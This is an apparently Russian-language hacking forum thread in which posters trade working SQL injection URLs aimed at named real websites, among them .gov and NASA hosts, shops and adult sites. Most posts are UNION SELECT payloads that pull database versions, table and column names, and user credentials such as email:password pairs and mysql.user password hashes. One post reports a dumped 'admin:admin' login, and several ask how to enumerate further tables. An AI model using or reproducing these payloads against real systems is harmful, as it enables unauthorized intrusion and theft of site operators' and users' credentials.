SQL Инъекции

http://www.viking.tm

Code:

http://www.viking.tm/product.php?id=-1+union+select+1,concat(user(),char(58),database()),version(),44,55,66,77/*

http://www.vikinggames.hu

Code:

http://www.vikinggames.hu/product.php?id=-1+union+select+1,concat(user(),char(58),database()),version(),44,55,66,77/*

 

баян, проверяй тут


вот чтоб, не флудить

Code:

http://broker.uz/index.php?a=5&b=-384+union+select+1,2,3,4,5,6,7

вывода нет (((( blind кажецо.

ps точно не blind только все равно неинтересно... нашел сайт месяца 3 назад, такое впечатление, чтокромеменя здесь вообще никто не бывает.

 

>вывода нет (((( blind кажецо.
Есть вывод смотри в ссылке там где картинка должна быть

Code:

http://broker.uz/index.php?a=5&b=-384+union+select+version(),2,3,4,5,6,7/*

смотрим в ссылке на картинку:
http://broker.uz/index.php?a=5&b=4.1.22-standard-log
и т.д.

 

Code:

http://haytom.us/showarticle.php?id=-19+union+select+1,user(),version(),4,5/*

Code:

http://www.learningminds.us/article.php?id=-50708+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+users/*&act=print

 

Порно сайт =))

Code:

http://karovideo.com/porno/directory.php?ax=list&sub=1&cat_id=-1/**/UNION/**/SELECT/**/1,2,3,4,concat(0x2D2D3E,email,0x3a,password),6,7,8,9,10,0x223E3C212D2D,12,13/**/from/**/links/*

admin:admin

 

Не получается подобрать названия колонок

код:

http://www.uraldev.ru/articles/index.php?id=-7+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

 

5 версия

Code:

http://www.uraldev.ru/articles/index.php?id=-7+union+select+1,2,3,4,5,6,7,8,9,10,TABLE_NAME,12,13,14,15,16%20from%20INFORMATION_SCHEMA.TABLES/*

Code:

http://www.uraldev.ru/articles/index.php?id=-7+union+select+1,2,3,4,5,6,7,8,9,10,column_name,12,13,14,15,16%20from%20information_schema.columns/*

 

опять .gov:
nea.gov:

Code:

http://www.nea.gov/honors/heritage/fellows/fellow.php?id=-1993_09%27+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat(user,0x3a,password),0x3a),0x3a),3,4,5,AES_DECRYPT(AES_ENCRYPT(user(),0x3a),0x3a),AES_DECRYPT(AES_ENCRYPT(version(),0x3a),0x3a),8,9,10,11,12,13,14,15+from+mysql.user+limit+1,1/*

 

library01.gsfc.nasa.gov:

Code:

http://library01.gsfc.nasa.gov/search/images/imageslist.php?id=-470+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat(user,0x3a,password),0x3a),0x3a),3,4,5,AES_DECRYPT(AES_ENCRYPT(user(),0x3a),0x3a),7,8,9,10,11,12,13,AES_DECRYPT(AES_ENCRYPT(version(),0x3a),0x3a),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47+from+mysql.user+limit+0,1/*&searchterm=everything&searchfield=entire

 

Вроде вывода нету,кто сможет вывести скажите как

Code:

http://www.amusic.hk/index.php?i=news&id=1'+union+select+id,password,3,4,5,6,7,8+from+a_users/*

Не смог подобрать таблицы

Code:

http://www.gcc.ca/newsarticle.php?id=1+union+select+1,2,3,4,5/*

 

Code:

http://www.game-ost.ru/news_comments.php?id=-298+union+select+1,2,3,4,5,6,7,8,9,10/*

 

http://3d-sex-villa.info/?view=-1+union+select+version()/*
дак вот ) там нет вывода на странице )
http://3d-sex-villa.info/?image=-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71)/*
четвертый мускул....кому не лень - подбирайте таблицы...
+ еще:
/home/sparkxxx/domains/3d-sex-villa.info/public_html/

 

www.akabel.ru:

 

www.shopping-spb.ru (вывод в тайтл):

 

2t00th:

Code:

http://www.amusic.hk/index.php?i=news&id=1%27+union+select+1,2,3,4,concat(id,0x3a,password),version(),7,8+from+a_users/*

 

Code:

http://www.gamesector.org/review.php?id=-225+union+select+1,2,concat_ws(0x3a,id,name,email,ip_address),4,5,6,7+from+ibf_members/*

 

MS SERVER.

 

походу тут интересно,жаль я не очень пока разбираюсь что с этим дальше делать

код:

http;//www.webmarket.mobi/ wm.php?id=-3+unio n+select+1 ,column_ name ,3 ,4 ,5 , 6+from+informatio n_schema.col umns/*

 

код:
http://www.ezgulik.org/news.php?id=-197+union+select+1,2,3,user(),5,6/*
мускул 4 версии

 

Делай вот так

тут тебе показано,какие таблицы и где находятся...

Странно Can't select from table:

вот что то есть

Code:

http://www.webmarket.mobi/wm.php?id=-3+union+select+1,logn,pasw,4,u_id,6+from+users3/*